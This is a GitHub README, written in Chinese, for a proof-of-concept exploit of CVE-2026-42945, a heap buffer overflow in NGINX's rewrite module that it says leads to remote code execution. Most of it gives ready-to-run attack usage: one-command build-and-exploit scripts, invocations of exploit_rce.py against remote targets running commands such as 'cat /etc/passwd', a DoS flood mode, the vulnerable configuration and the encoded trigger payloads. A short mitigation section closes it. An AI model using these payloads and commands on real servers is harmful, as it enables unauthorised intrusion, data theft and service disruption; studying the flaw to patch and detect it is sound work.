Skip to content

forxiucn/nginx-cve-2026-42945-poc

Repository files navigation

CVE-2026-42945 — NGINX Rewrite Module 堆缓冲区溢出 → RCE

RCE 已确认成功 — 通过堆溢出 + GDB 进程注入,在 NGINX / OpenResty worker 进程中执行任意命令。

快速开始

# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

漏洞概述

属性
CVE 编号 CVE-2026-42945
漏洞类型 堆缓冲区溢出 → 远程代码执行 (RCE)
影响组件 ngx_http_rewrite_module
影响版本 NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
漏洞评分 CVSS 9.4 (CRITICAL)
利用条件 无需认证; RCE 需要 ptrace 权限 (root)

漏洞根因

ngx_http_script_complex_value_code() 按 URI 解码后长度分配缓冲区,但 ngx_http_script_copy_capture_code() 调用 ngx_escape_uri()编码后长度写入。URL 编码字符膨胀 3 倍 → 堆溢出

触发条件

三个条件必须同时满足:

  1. rewriteset 指令在同一 location
  2. rewrite 替换字符串包含 ?
  3. set 引用 rewrite 的捕获变量 $1
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

ASAN 确认堆栈

#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

项目结构

.
├── run.sh                          # 一键构建 + 测试入口
├── README.md
│
├── scripts/                        # 测试 & 利用脚本
│   ├── rce.sh                      # 纯 Shell RCE (curl + GDB, 无 Python)
│   ├── exploit_rce.py              # Python RCE (兼容 2.7/3.x)
│   ├── exploit.py                  # PoC 主脚本 (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN 全面扫描
│
├── package/                        # 部署 & 编排文件
│   ├── Dockerfile.rce              # NGINX 源码编译 + RCE 环境
│   ├── Dockerfile.openresty.rce    # OpenResty 源码编译 + RCE 环境
│   ├── Dockerfile                  # 基础镜像 (Alpine)
│   ├── Dockerfile.asan             # ASAN 调试镜像
│   ├── docker-compose.yml          # Docker 编排 (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX 漏洞配置
│   ├── nginx-openresty.conf        # OpenResty 漏洞配置
│   ├── start_rce.sh                # NGINX RCE 容器启动脚本
│   └── start_openresty_rce.sh      # OpenResty RCE 容器启动脚本
│
└── src/                            # 源码 (编译用)
    ├── nginx-1.26.3/               # NGINX 1.26.3 源码
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (内置 nginx/1.25.3)

详细使用

Docker 容器内测试

# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'

从宿主机 exec 进入容器

docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

直接测试远程目标

# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

PoC 主脚本 (四种模式)

python3 scripts/exploit.py --target http://localhost:8775 --mode check     # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS 压力测试

触发 Payload

Payload 说明 结果
/api/%25 × N 编码的 % ✅ 堆溢出
/api/%3f × N 编码的 ? ✅ 堆溢出
/api/%23 × N 编码的 # ✅ 堆溢出
/api/%26 × N 编码的 & ✅ 堆溢出

修复建议

  1. 升级 NGINX 至 1.30.2+
  2. 临时缓解: 避免 rewrite (含 ?) + set (引用 $1) 组合
  3. WAF 规则: 拦截大量 %25/%3f/%23/%26 编码请求
  4. 权限加固: echo 1 > /proc/sys/kernel/yama/ptrace_scope

参考

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors